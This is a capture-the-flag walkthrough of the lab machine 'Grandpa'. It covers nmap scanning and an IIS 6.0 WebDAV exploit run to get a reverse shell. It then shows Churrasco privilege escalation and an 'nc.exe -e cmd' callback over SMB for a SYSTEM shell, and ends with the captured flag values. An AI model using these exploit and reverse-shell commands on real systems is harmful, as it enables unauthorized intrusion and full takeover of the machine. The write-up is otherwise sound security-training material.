Grandpa
Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.14 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon May 16 11:24:04 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.14
Nmap scan report for 10.10.10.14
Host is up (0.054s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
# Nmap done at Mon May 16 11:24:30 2022 -- 1 IP address (1 host up) scanned in 26.54 secondsNow that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80 10.10.10.14 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Mon May 16 11:25:18 2022 as: nmap -sCV -p80 -Pn -oN targeted 10.10.10.14
Nmap scan report for 10.10.10.14
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-title: Under Construction
| http-webdav-scan:
| WebDAV type: Unknown
| Server Type: Microsoft-IIS/6.0
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Date: Mon, 16 May 2022 09:25:28 GMT
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-server-header: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 16 11:25:28 2022 -- 1 IP address (1 host up) scanned in 10.06 secondsExploitation
As we can see, it has an IIS httpd 6.0 web server. I started looking for exploits on the internet, and I found this exploit from GitHub. Let's download it and rename it.
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
mv 'iis6 reverse shell' exploit.py
--2022-05-16 12:51:50-- https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12313 (12K) [text/plain]
Saving to: ‘iis6 reverse shell’
iis6 reverse shell 100%[=====================================================================================>] 12.02K --.-KB/s in 0s
2022-05-16 12:51:50 (57.3 MB/s) - ‘iis6 reverse shell’ saved [12313/12313]Now, let's set a listener on port 4444 with netcat and rlwrap.
rlwrap nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
If we run the exploit indicating the IP address of the victim machine, the port in which the website is running, the local IP address, and the port of the netcat listener, we'll get a reverse shell as the nt authority\network service user.
python2 exploit.py 10.10.10.14 80 10.10.14.7 4444
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
whoami
whoami
nt authority\network servicePrivilege Escalation
Let's see what privileges the user nt authority\network service has.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAuditPrivilege Generate security audits Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledIf a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.
To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a SMB server with the impacket library, on the directory where we have the JuicyPotato binary.
impacket-smbserver sambaFolder $(pwd) -smb2support
And download the binaries from the \windows\temp folder.
copy \\10.10.14.7\sambaFolder\JuicyPotato.exe JuicyPotato.exe
If we execute it, we'll get an error saying that the binary is incompatible with the system architecture.
JuicyPotato.exe
The image file C:\WINDOWS\Temp\JuicyPotato.exe is valid, but is for a machine type other than the current machine.But, no worries, there is an alternative to JuicyPotato. It is called Churrasco, and you can download it from here. Once you download it, transfer it to the Windows machine with the same method we did before. And if we execute it indicating the whoami command, we'll see that we can execute commands as the nt authority\system user.
churrasco.exe "whoami"
nt authority\systemLet's get a shell as the nt authority\system user. First, let's set a netcat listener on port 5555.
rlwrap nc -lvnp 5555
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Then, let's set another SMB server on the directory where the nc.exe binary is.
impacket-smbserver sambaFolder $(pwd) -smb2support
And finally, execute the following command on the Windows machine, which will send a shell as the nt authority\system user to the netcat listener.
churrasco.exe "\\10.10.14.7\sambaFolder\nc.exe -e cmd 10.10.14.7 5555"
listening on [any] 5555 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.14] 1037
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
whoami
whoami
nt authority\systemFinally, all we have to do is reap the harvest and take the user and the root flag.
type \"Documents and Settings"\Harry\desktop\user.txt
bdff5ec67c3cff017f2bedc146a5d869
type \"Documents and Settings"\Administrator\desktop\root.txt
9359e905a2c35f861f6a57cecf28bb7bLast updated
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